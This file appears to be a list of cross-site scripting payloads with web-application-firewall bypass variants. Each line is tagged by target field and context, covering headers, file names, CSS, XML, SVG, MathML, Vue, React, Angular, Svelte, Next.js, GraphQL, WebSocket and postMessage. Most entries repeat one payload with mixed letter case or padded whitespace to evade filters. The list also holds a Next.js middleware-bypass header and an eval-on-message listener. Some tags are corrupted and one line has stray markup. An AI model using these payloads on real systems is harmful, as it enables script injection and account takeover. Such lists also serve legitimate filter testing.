[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent :   <script> alert ( 1 )  </script>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <ScRiPt>alerT(1)</ScRiPt>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <SCrIpT>alert(1)</SCrIpT>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <scripT>alerT(1)</sCRipt>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer: javascript:alert(1)

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]REfeReR: jaVAsCrIPt:aLErT(1)

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer: jaVascrIpT:alErt(1)

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer: jAVAsCrIpT:aleRt(1)

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]RefeRer: javaScrIPt:alert(1)

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer    :        javascript    :    alert    (    1    )  

[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]Content-Security-Policy: default-src 'self' 'unsafe-inline'

[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]Content-Security-Policy    :        default-src    'self'    'unsafe-inline'

[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]ConteNt-SecUrity-PoliCY: default-Src 'sElf' 'Unsafe-INlIne'

[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]CoNteNt-SECuRity-PolicY: deFault-Src 'seLf' 'unsaFE-InLINe'

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onload="alert(1)

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" ONLoaD="aLerT(1)

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" ONloAD="alert(1)

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onLOAd="ALert(1)

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]' onload='alert(1)

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onlOad="aLErt(1)

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onload = "alert ( 1 )

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" oNLoad="Alert(1)

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=alert(1)>.jpg

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><iMG src=x oNeRror=ALeRt(1)>.jpg

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"> <img src = x onerror = alert ( 1 ) > .jpg

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><iMg SRc=x oneRroR=AlErt(1)>.jPG

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><img src=x OnerROr=alERT(1)>.jpg

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]'><img src=x onerror=alert(1)>.jpg

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><imG sRC=x OnERror=ALert(1)>.Jpg

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><IMG src=x onerror=alert(1)>.jpg

[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><img src=x ONErrOr=alert(1)>.jpg

[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]javascript:alert(1)//.pdf

[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]JavasCript:alert(1)//.PDF

[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]&#106;avascript:alert(1)//.pdf

[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]javAScrIPt:ALErt(1)//.pdf

[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]jAvAscripT:Alert(1)//.pdf

[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]javascript : alert ( 1 ) //.pdf

[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]jaVascriPT:ALerT(1)//.pdf

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {background:url(javascript:alert(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]" )  ;  }  *  { background : url ( javascript : alert ( 1 )  )  } //

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {BackgroUND:UrL(jAVaScrIpT:alErT(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]');} * {background:url(javascript:alert(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {backgroUnD:UrL(jaVasCripT:aLeRt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {background:url(JavAScrIpT:alERt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {background:url(jAvaScrIPt:aLerT(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {behavior:url(javascript:alert(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {behavior:url(JaVascrIpT:ALErt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {behavior:url(JaVAsCRIPT:AlERt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]" )  ;  }  *  { behavior : url ( javascript : alert ( 1 )  )  } //

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {bEhavioR:url(JAvasCripT:ALeRt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {BehAvioR:url(javascRIpt:alerT(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:url(javascript:alert(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:url(JavAsCRipT:AlERt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:urL(jaVAScrIPt:aLErt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-bIndiNG:urL(jAVAScRipt:AlErt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:url(javASCRIPt:aleRt(1))}//

[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]" )  ;  }  *  { -moz-binding : url ( javascript : alert ( 1 )  )  } //

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} body {background-image: url(javascript:prompt(1))}//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} bodY {BackgrouNd-image: url(jaVasCripT:prompT(1))}//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} bODy {baCKgRound-image: UrL(JAVAsCrIPT:PRoMpt(1))}//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]"    )        ;        }        body        {    background-image    :        url    (    javascript    :    prompt    (    1    )        )        }    //

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} body {background-image: url(JAvAscrIpT:ProMpt(1))}//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} body {background-image: url(JAVascRipT:promPT(1))}//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @import url(javascript:confirm(1));//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @impoRt uRl(jAVascript:COnfIrm(1));//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @import url(JAVascRipT:cONfIrM(1));//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @import url(jaVAScRipt:cONFIRM(1));//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]"

)



;



}



@import

url

(

javascript

:

confirm

(

1

)



)



;

//

[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @ImpoRT url(JavascriPt:cONfiRm(1));//

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<script>alert(1)</script>]]>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<ScRIpt>AlerT(1)</Script>]]>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]> <![CDATA[<script> alert ( 1 )  </script> ]]>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<ScRIPT>AlErt(1)</ScRIPT>]]>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CdATA[<SCriPT>alERt(1)</SCriPT>]]>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<SCRiPt>alert(1)</SCRiPt>]]>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<scriPt>aleRt(1)</scriPt>]]>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]>

<x

:

script

xmlns

:

x

=

"http

:

//www.w3.org/1999/xhtml">

alert

(

1

)



</x

:

script>



[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:SCRIpT xmlns:x="http://www.w3.org/1999/xhtml">ALerT(1)</x:SCRIpT>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:script Xmlns:X="htTP://www.w3.org/1999/xHTMl">aleRt(1)</x:sCrIPt>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:ScRIpt xmlns:x="http://www.w3.org/1999/xhtml">ALErT(1)</x:ScRIpt>

[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><X:SCrIPT xmlns:X="http://www.w3.org/1999/xhTML">aLErT(1)</X:SCrIPT>

[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svg><script>prompt(1)</script></svg>

[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svG><sCRIPt>PromPt(1)</sCRIPt></svG>

[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svg><scriPt>prompt(1)</ScRipT></SVg>

[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><SvG><ScripT>prOmPt(1)</ScripT></svG>

[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]> <svg>  <script> prompt ( 1 )  </script>  </svg>

[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><sVG><sCrIpt>prompt(1)</sCrIpt></sVG>

[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svg><sCrIpT>PromPt(1)</sCrIpT></svg>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><animate onbegin=alert(1) attributeName=x dur=1s>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><aNiMate OnbEGIn=aLert(1) AtTRiButEnaMe=x duR=1s>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]> <svg>  <animate onbegin = alert ( 1 )  attributeName = x dur = 1s>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><sVg><animate onbegin=alERT(1) attributeName=x dur=1s>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svG><anImATe onbEgin=ALeRT(1) atTribuTeName=x dUr=1S>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><animate onbegin=AlERT(1) attributeName=x dur=1s>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><SVG><animate onbegin=alert(1) attributeName=x dur=1s>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><set onbegin=alert(1) attributeName=x to=y>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><sEt onBEgin=AlErt(1) attRibUteName=x to=y>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><set onbegin=AlERT(1) attributeName=x to=y>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><Svg><set onbegin=alert(1) attributeName=x to=y>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><sVG><set onbegin=AleRT(1) attributeName=x to=y>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svG><SeT onBeGin=ALErT(1) aTTrIbutEnAmE=X to=Y>

[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]>    <svg>        <set    onbegin    =    alert    (    1    )        attributeName    =    x    to    =    y>  

[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype="statusline#http://example.com" xlink:href="javascript:alert(1)">CLICK</maction></math>

[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype="statusline#http://example.com" xlink:href="jAVAscRiPT:aLErT(1)">CLICK</maction></math>

[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype="statusline#http://example.com" xlink:href="jAvAscRipt:aleRt(1)">CLICK</maction></math>

[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype=statusline#http://example.com xlink:href=javascript:alert(1)>CLICK</maction></math>

[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><maTH><mactIoN actioNtype="Statusline#hTTP://example.com" Xlink:HREf="jAVascRiPt:ALeRT(1)">CLICk</mactioN></matH>

[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><MActiOn actIontYpe="staTUslinE#htTp://example.com" XLiNK:href="JavasCriPt:aleRt(1)">CLICK</mActION></math>

[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]> <math>  <maction actiontype = "statusline#http : //example.com" xlink : href = "javascript : alert ( 1 ) "> CLICK </maction>  </math>

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{constructor.constructor('alert(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8] {  { constructor.constructor ( 'alert ( 1 ) ' )  (  )  }  }

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{constructor.constructor('ALERt(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{constructor.constructor('aLeRt(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{conSTructor.conStructOr('AleRT(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{coNstructOr.consTructOr('alert(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.constructor('alert(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8] {  { _c.constructor ( 'alert ( 1 ) ' )  (  )  }  }

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.ConstrUcTor('AlERT(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_C.COnstructoR('alert(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.constructor('aLERt(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.constructor('ALErT(1)')()}}

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=alert(1)>

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><Img Src=X oNerROR=AleRT(1)>

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><IMG src=x ONeRROr=aleRT(1)>

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]'><img src=x onerror=alert(1)>

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onERRor=alERT(1)>

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]">    <img    src    =    x    onerror    =    alert    (    1    )    >  

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img SRC=x oneRRoR=aleRt(1)>

[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img src=x oNerROR=alert(1)>

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x onerror=alert(1)>"

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x OnerrOr=alert(1)>"

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-HTml="<img srC=x ONERrOR=ALErT(1)>"

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-HtmL="<iMg src=x onerrOR=alErt(1)>"

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html = " <img src = x onerror = alert ( 1 ) > "

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]' v-html='<img src=x onerror=alert(1)>'

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<Img src=x onerror=alert(1)>"

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x OnerROR=aLeRt(1)>"

[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x ONERRoR=alERt(1)>"

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<img src=x onerror=prompt(1)>'}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<ImG src=x oNerrOr=pROMpt(1)>'}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<img src=x OnERROr=prompt(1)>'}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: <img src=x onerror=prompt(1)>}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<ImG src=x onerror=prompt(1)>'}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" DangerouslySeTInNerHTMl={{__HtmL: '<Img srC=x onERrOR=Prompt(1)>'}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" danGerouslysEtInnErHTML={{__hTMl: '<img src=x onerroR=PrOMpT(1)>'}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<img src=x oNerrOr=pROmpT(1)>'}} x="

[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML =  {  { __html :  ' <img src = x onerror = prompt ( 1 ) > ' }  }  x = "

[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; confirm(1); //

[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; COnfIRM(1); //

[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; cONfirm(1); //

[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]' ;  confirm ( 1 )  ;  //

[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; CoNfIrM(1); //

[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.conStruCTor.prOtotypE.cHarat=[].join;$EvAl('X=alERT(1)');}}

[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.constructor.prototype.charAt=[].join;$EVaL('x=aLeRT(1)');}}

[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.consTruCtor.proToType.chaRaT=[].join;$EVaL('X=ALeRt(1)');}}

[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]> {  { 'a'.constructor.prototype.charAt = [].join ; $eval ( 'x = alert ( 1 ) ' )  ;  }  }

[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.constructor.prototype.charAt=[].join;$evaL('x=aLERt(1)');}}

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<img src=x onerror=alert(1)>"

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<img src=x onerrOr=alert(1)>"

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<img src=x oneRrOr=alErt(1)>"

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<iMG src=x onerror=alert(1)>"

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html = " <img src = x onerror = alert ( 1 ) > "

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" nG-biND-HtmL="<img SRc=X oneRROr=AleRt(1)>"

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" Ng-binD-HtMl="<img src=x OneRrOR=alert(1)>"

[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<iMG src=x oNeRror=aLeRt(1)>"

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<img src=x onerror=prompt(1)>"}

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html <img src=x onerror=prompt(1)>}

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]> { @html " <img src = x onerror = prompt ( 1 ) > " }

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<iMg src=x ONeRrOR=prOmpT(1)>"}

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<img src=x OnERRor=prompt(1)>"}

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@htmL "<Img Src=x onerROr=promPt(1)>"}

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@hTmL "<ImG Src=x OneRRoR=prompT(1)>"}

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<img src=x ONError=proMpT(1)>"}

[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<iMG src=x onerror=prompt(1)>"}

[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={alert(1)} foo="

[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={aLERt(1)} foo="

[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={ALeRt(1)} foo="

[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:CLick={aleRt(1)} Foo="

[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]"    on    :    click    =        {    alert    (    1    )        }        foo    =    "

[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={alerT(1)} foo="

[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]' on:click={alert(1)} foo='

[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><script>alert(1)</script>

[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><SCRiPt>aLerT(1)</SCRiPt>

[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><sCripT>AlErt(1)</sCripT>

[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_Next/ImAGe?urL=httPs://EXAmpLE.Com&w=1&q=1"><scRiPT>ALert(1)</scRiPT>

[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><scRiPT>alert(1)</scRiPT>

[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url = https : //example.com&w = 1&q = 1"> <script> alert ( 1 )  </script>

[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_neXt/image?uRL=httPs://exaMPle.cOm&w=1&q=1"><ScRipt>alerT(1)</sCRipt>

[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middleware-subrequest: middleware

[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middLEware-subrEquest: miDDLeWAre

[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middleware-subrequest    :        middleware

[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middleWAre-suBrequest: Middleware

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<img src=x onerror=alert(1)>"}

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<img src=x ONErROr=alert(1)>"}

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<img src=x oNerrOR=alerT(1)>"}

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "queRy": "querY { __typEnAmE }", "variabLes": {"Id": "<iMg src=x oneRrOr=alert(1)>"}

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8], [ICODE]query: query { __typename }, variables: {id: [/ICODE]<img src=x onerror=alert(1)>"}

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<Img src=x OnerroR=alErT(1)>"}

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<Img src=x onerror=alert(1)>"}

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query" :  "query  {  __typename  } ", "variables" :   { "id" :  " <img src = x onerror = alert ( 1 ) > " }

[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "qUeRy": "qUerY { __typeName }", "vaRiabLEs": {"Id": "<ImG src=x oNeRRor=aLeRt(1)>"}

[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.createDataChannel('x', {id: 1, priority: 'high'}).onopen = function(){alert(1)}; //

[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'    ;        pc.createDataChannel    (    'x',        {    id    :        1,    priority    :        'high'    }        )    .onopen        =        function    (        )        {    alert    (    1    )        }        ;        //

[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.createDataChannel('x', {id: 1, priority: 'high'}).onopen = fUNCtiON(){aLert(1)}; //

[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; Pc.crEatedatAChanneL('x', {id: 1, PrIoriTy: 'hIGh'}).oNopen = funCtion(){alErt(1)}; //

[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.creAteDATaChanneL('x', {id: 1, PrioRitY: 'High'}).onopen = FuNCTiON(){alerT(1)}; //

[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.createDataChannel('x', {id: 1, priority: 'high'}).onopen = fuNctION(){aLERT(1)}; //

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><script>alert(1)</script>

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://ExamPlE.COM/"><Script>alerT(1)</scripT>

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/'><script>alert(1)</script>

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><SCRiPT>alERT(1)</SCRiPT>

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><ScRIpT>aleRt(1)</ScRIpT>

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]wS://eXampLe.com/"><scrIpT>alErt(1)</scrIpT>

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws : //example.com/"> <script> alert ( 1 )  </script>

[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><scriPT>alert(1)</scriPT>

[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; window.addEventListener('message', function(e){eval(e.data)}); //

